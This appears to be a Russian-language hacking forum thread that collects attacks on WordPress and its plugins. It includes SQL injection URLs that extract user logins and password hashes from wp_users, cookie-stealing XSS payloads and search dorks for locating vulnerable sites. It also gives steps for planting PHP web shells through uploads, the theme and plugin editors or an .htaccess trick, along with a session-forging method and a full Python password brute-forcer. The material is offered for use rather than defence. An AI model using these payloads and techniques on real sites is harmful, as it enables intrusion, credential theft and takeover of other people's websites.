WordPress Download Counter SQL-INJ: DownloadCounter.php PHP: /* Plugin Name: Download Counter Modded Rus Plugin URI: http://www.cybercore.ru/ Description: Подсчитывает количество скачек файла. Автоматически генерит ссылку и код для использования на сайте. Локализованная и улучшеная версия. Оригинальная версия плагина доступна <a href="http://n0id.hexium.net/plugins">Download Counter</a>, автор Vanguard Author: Tapac Version: 1.5.rus Author URI: http://www.cybercore.ru */ Bug Code: (download.php) PHP: if(isset($_GET['id'])){ $query=mysql_query("SELECT * FROM $downloadCounter_table WHERE id = '".addslashes($_GET[id])."'"); if (mysql_num_rows($query)) { $row=mysql_fetch_array($query); mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".addslashes($_GET[id])."'"); } }elseif ($_GET['name']){ $query=mysql_query("SELECT * FROM $downloadCounter_table WHERE label = '".$_GET['name']."'"); if (mysql_num_rows($query)) { $row=mysql_fetch_array($query); mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".$row['id']."'"); } } (c) .Slip
WordPress Multiple Cross-Site Scripting Vulnerabilities XSS Vulnerable: 2.3.2 PoC: Code: http://site.wordpress.com/wp-admin/users.php?update=invite&inviteemail=[XSS C0d3] http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E% 3Cscript%3Ealert (document.cookie);%3C/script%3E
Раскрытие пути (работает <=2.3.3) Code: http://site.com/path_to_wp/wp-content/plugins/hello.php Обычно этот файл никто не удаляет. Ну и получаем: Code: Fatal error: Call to undefined function: wptexturize() in /home/ks011/www/wp-content/plugins/hello.php on line 44
Заливка шелла (если вам повезло и вы админ) тестировалось на версии 2.3.3 Все очень просто .. идем в панель администратора, Write => Write Post или Write Page => и делаем upload вашего шелла и вот он Code: /wp-content/uploads/[Год]/[месяц]/shell.php пример: Code: http://localhost/wordpress/wp-content/uploads/2008/03/x.php з.ы. Просмотрел всю тему, про заливку ничего не было сказано. ZAMUT(с)
Как залить шелл? 1. идем в Внешний вид -> Редактор тем -> 2. с права файлы типа css и так далее. кликаем любой php файл. сохранил шелл 3. там линк типа http://site.com/wp-admin/theme-editor.php?file=wp-content/themes/wedding/functions.php&theme=Wedding 4. и наш шелл на http://site.com/wp-content/themes/wedding/functions.php
Дело в том, что далеко не везде файлы можно изменять. Если в админке в нижнем правом углу появилась кнопка "Update File", то файл изменить можно, если нет, то присутствует фраза, говорящая о невозможности изменения файлов
Wordpress Plugin Download (dl_id) SQL Injection Vulnerability Wordpress Plugin Download file Remote SQL Injection Vulnerability Code: [B]Example:[/B] http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL] [B]SQL:[/B] null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/* Для поиска: Code: inurl:"wp-download.php?dl_id=" (c)
у меня было что не один php файл не редактировался. повезло что .htaccess открыт для редактирования был. прописал туда AddType application/x-httpd-php .jpg вроде так. и потом в создании нового топика есть заливка картинки, залил шелл и радовался жизни.
Начинаю мучить WordPress 2.5 Раскрытие пути: Code: /wp-admin/import/blogger.php /wp-admin/import/blogware.php /wp-admin/import/btt.php /wp-admin/import/dotclear.php /wp-admin/import/greymatter.php /wp-admin/import/jkw.php /wp-admin/import/livejournal.php /wp-admin/import/mt.php /wp-admin/import/rss.php /wp-admin/import/stp.php /wp-admin/import/textpattern.php /wp-admin/import/utw.php /wp-admin/import/wordpress.php /wp-admin/import/wp-cat2tag.php /wp-admin/includes/admin.php /wp-admin/includes/class-ftp-pure.php /wp-admin/includes/class-ftp-sockets.php /wp-admin/includes/comment.php /wp-admin/includes/file.php /wp-admin/includes/media.php /wp-admin/includes/misc.php /wp-admin/includes/schema.php /wp-admin/includes/update.php /wp-admin/includes/upgrade.php /wp-admin/includes/widgets.php /wp-admin/admin-footer.php /wp-admin/admin-functions.php /wp-admin/edit-category-form.php /wp-admin/edit-form-advanced.php /wp-admin/edit-form-comment.php /wp-admin/edit-form.php /wp-admin/edit-link-category-form.php /wp-admin/edit-link-form.php /wp-admin/edit-page-form.php /wp-admin/edit-tag-form.php /wp-admin/menu-header.php /wp-admin/menu.php /wp-admin/options-head.php /wp-admin/upgrade-functions.php /wp-content/plugins/akismet/akismet.php /wp-content/plugins/wp-admin-fluency/wp-admin-fluency.php /wp-content/plugins/hello.php /wp-content/plugins/rus-to-lat.php /wp-content/plugins/russian-date.php /wp-content/themes/classic/comments-popup.php /wp-content/themes/classic/comments.php /wp-content/themes/classic/footer.php /wp-content/themes/classic/header.php /wp-content/themes/classic/index.php /wp-content/themes/classic/sidebar.php /wp-content/themes/default/404.php /wp-content/themes/default/archive.php /wp-content/themes/default/archives.php /wp-content/themes/default/attachment.php /wp-content/themes/default/comments-popup.php /wp-content/themes/default/footer.php /wp-content/themes/default/functions.php /wp-content/themes/default/header.php /wp-content/themes/default/image.php /wp-content/themes/default/index.php /wp-content/themes/default/links.php /wp-content/themes/default/page.php /wp-content/themes/default/search.php /wp-content/themes/default/searchform.php /wp-content/themes/default/sidebar.php /wp-content/themes/default/single.php /wp-includes/js/tinymce/langs/wp-langs.php /wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php /wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php /wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php /wp-includes/bookmark.php /wp-includes/canonical.php /wp-includes/default-filters.php /wp-includes/feed-atom-comments.php /wp-includes/feed-atom.php /wp-includes/feed-rdf.php /wp-includes/feed-rss.php /wp-includes/feed-rss2-comments.php /wp-includes/feed-rss2.php /wp-includes/general-template.php /wp-includes/kses.php /wp-includes/media.php /wp-includes/registration-functions.php /wp-includes/rss-functions.php /wp-includes/rss.php /wp-includes/script-loader.php /wp-includes/shortcodes.php /wp-includes/template-loader.php /wp-includes/update.php /wp-includes/vars.php /wp-includes/widgets.php /wp-settings.php
Нашёл SQL-injection и пассивную XSS в модуле Wordpress Automatic upgrade (версия, кажется 1.1) Для выполнения требуются права администратора. SQL осложняется тем, что уязвимый запрос выглядит так "DESCRIBE table", так-же фильтруются апострофы и кавычки. Пример: Code: <form method="POST" action="http://site/wp-admin/edit.php?page=wordpress-automatic-upgrade%2Fwordpress-automatic-upgrade.php&task=backupdb"> core_tables: <input type="text" name="core_tables[1]" value="<script>alert(/XSS_AND_SQL1/)</script>"><br/> other_tables: <input type="text" name="other_tables[1]" value="<script>alert(/XSS_AND_SQL2/)</script>"><br/> <input type="submit"> </form> З.Ы. В уязвимый скрипт передаются массивы core_tables и other_tables, соответственно XSS и SQL вызовется для каждого элемента массива. З.Ы. Иногда не отображается XSS и ошибка (видимо зависит от настроек), но в любом случае работает, по крайней мере, как Blind SQL Injection.
Wordpress 2.5 - Salt Cracking Vulnerability WORDPRESS 2.5 - SALT CRACKING VULNERABILITY http://packetstormsecurity.org/0804-exploits/wp-saltcrack.txt Описание уязвимости от Гемоглабина: _http://forum.antichat.ru/thread72534.html ============================== Коротко по сути: если админ оставил пустым или дефолтным('put your unique phrase here') поле SECRET_KEY в конфигурационном файле, то становится возможным сгенерировать валидную админскую сессию. Но для этого необходимо подобрать брутом значение соли(либо вытащить его непосредственно из бд черех SQL-inj). Перебор всех возможных вариантов (62 символа, длина строки - 7мь символов) на одном ПС займет 113 дней по расчетам автора. Прилагается специальный консольный брутер под никсы. ============================== Важное дополнение Дело в том что если вы имеете доступ к БД блога например через SQL-inj и SECRET_KEY пуст (или дефолтен) , то нам не требуется расшифровка паролей! Достаточно получить значение wp_options.option_name = 'secret', а также взять любой Логин админа - и можно сгенерировать валидную админскую сессию. пхп скрипт генерирующий куку прилагается
Не уязвимость, но по теме ничего не нашёл. В общем, опеределение версии движка: Заходим на http://site/wp-login.php, смотрим в исходник странички, видим там: Code: <link rel='stylesheet' href='http://site/wp-admin/wp-admin.css?version=2.5' type='text/css' /> После ?version=.. - версия движка. З.Ы. Наверняка есть и нормальные методы, просто нашёл навскидку.
Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability SQL-Injection Code: http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain Dork: inurl:/wp-content/plugins/wpSS/ Author : 1ten0.0net1
Сброс пароля через phpmyadmin только для версии <=2.3.x Если вы случайно забыли пароль от админки), то можно сменить его через phpmyadmin. Подробнее. http://cubegames.net/blog/2008/04/26/reset-wp-password-via-phpmyadmin/ запрос Этот метод может быть полезен если не сработало сбрасывание пасс на мыло. http://trac.wordpress.org/ticket/6842 идет обрезание ключа почтавиками в частности gmail версия 2.5.1 последняя на сегодняшний день.
Wordpress Version Универсальный способ в 2.x версиях http://localhost/wordpress/?feed=rss2&p=0 иногда надо поиграться с p= для выдачи.
Активная XSS в Blix Theme, которую сейчас часто ставят на WP. Code: http://site/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E еще одна - Abuse of Functionality, действует как на старых версиях, так и на новой 2.5 - суть в том, что при вводе верного и неверного логина(при неверном пароле) движок выводит разное уведомление об ошибке, т.е. методом перебора возможно получить логины пользователей, которые потом использовать при брутфорсе.
Раскрытие данных в WordPress 2.0.3 Сообщение об ошибку sql возвращает поситетяля назад,если указать неккоректное значение парметра paged можно получить данные о префиксе таблиц Например: Code: http:// [host]/index.php?paged=-12 ^^
Wordpress <= 2.5.1 Malicious File Execution Vulnerability Wordpress <= 2.5.1 Malicious File Execution Vulnerability Ну вобщем, вы можете загрузить вебшелл через аплоад, либо через редактор плагинов. Вобщем-то об этом все и так знали =) Code: ========================================================== Wordpress Malicious File Execution Vulnerability ========================================================== AUTHOR : CWH Underground DATE : 18 May 2008 SITE : www.citecclub.org ##################################################### APPLICATION : Wordpress Blog VERSION : <= 2.5.1 VENDOR : http://wordpress.org/ DOWNLOAD : http://wordpress.org/download ##################################################### DORK: N/A ---DESCRIPTION--- You must login into wordpress with Administrator Roles 1. Write Tabs - You can post title, contents and upload files. In Upload section, You can upload php script such as r57,c99,etc. into systems and upload's file will appear in http://[target]/wp-content/uploads/[year]/[month]/file.php 2. If you can't upload your php script: Found message "File type does not meet security guidelines. Try another" Dont Worry, Move to "plugins" Tabs and choose some plugins (Akismet, Hello Dolly) to EDIT it. Now you can add php script (r57/c99) into plugins edit section. Finished it and Back to Plugins Tabs -> Click Active plugins then Get your SHELL.... Let's Fun... ---NOTE/TIP--- In Plugins Edit section, Use comment /* ... */ to keep plugins code before add shells. ################################################################## Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C ##################################################################
Wordpress Bruterorce Code: ############# Source code ##################### #!usr/bin/python # Flaw found on Wordpress # that allow Dictionnary & Bruteforce attack # Greetz goes to : NeoMorphS, Tiky # Vendor : http://wordpress.org/ # Found by : Kad ([email protected] / #[email protected]) import urllib , urllib2, sys, string tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits ) tab = [ i for i in tab ] def node( table, parent, size ): if size == 0: pass else: for c in table: string = "%s%s"%( parent, c ) data = {'log': sys.argv[2], 'pwd': string} print "[+] Testing : "+string request = urllib2.Request(server, urllib.urlencode(data)) f = urllib2.urlopen(request).read() if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break node( table, string, size-1 ) def bruteforce( table, size ): for c in table: node( table, c, size-1 ) if (len(sys.argv) < 3): print "Usage : float.py <server> <user> <choice> <dico-characters>" print "\nDefault: User is 'admin'" print "Choice : 1} Dictionnary Attack, use dictionnary file" print " 2} Bruteforce Attack, use number of character for password" else: server = sys.argv[1] if sys.argv[3] == "1": a , b = open(sys.argv[4],'r') , 0 for lines in a: b = b + 1 a.seek(0) c = 0 while (c < b): mot = a.readline().rstrip() data = {'log': sys.argv[2], 'pwd': mot} print "[+] Testing : "+mot request = urllib2.Request(server, urllib.urlencode(data)) f = urllib2.urlopen(request).read() if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break else: c = c + 1 ; pass if sys.argv[3] == "2": print "[-] Server is : "+server print "[-] User is : "+sys.argv[2] print "[-] Number of characters are : "+sys.argv[4] number = int(sys.argv[4]) bruteforce( tab, number ) ############## Source code ##################### The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests). To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else). if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;) Kad'